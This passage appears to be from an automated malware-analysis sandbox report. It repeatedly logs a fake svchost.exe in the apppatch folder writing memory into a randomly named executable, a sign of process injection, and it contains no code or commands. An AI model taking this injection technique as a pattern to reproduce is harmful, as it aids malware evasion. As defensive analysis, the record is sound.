Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27F1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27F2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2844000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 28C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 28C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 28C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2914000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2760000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2761000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2762000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27B4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29E0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29E1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2A34000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C90000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C91000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C92000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2CE4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3090000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3091000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3092000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 30E4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2140000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2141000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2142000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2194000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2740000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2741000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2742000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2794000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AA0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AA1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AA2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2AF4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2500000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2501000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2502000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2554000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3180000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3181000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 3182000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 31D4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2714000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2650000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2651000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2652000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 26A4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B30000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B31000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B32000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B84000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: AA0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: AA1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: AA2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: AF4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2610000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2611000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2612000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2664000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E30000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E31000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E32000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2E84000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2910000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2911000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2912000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2964000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B20000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B21000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B22000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: B74000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C80000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C81000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C82000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2CD4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DA0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DA1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DA2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2DF4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2260000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2261000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2262000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 22B4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27E0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27E1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 27E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2834000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2360000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2361000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2362000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 23B4000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29C0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29C1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 29C2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2A14000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BC0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BC1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2BC2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2C14000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 12E0000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 12E1000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 12E2000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 1334000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2A00000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exe base: 2A01000Jump to behavior
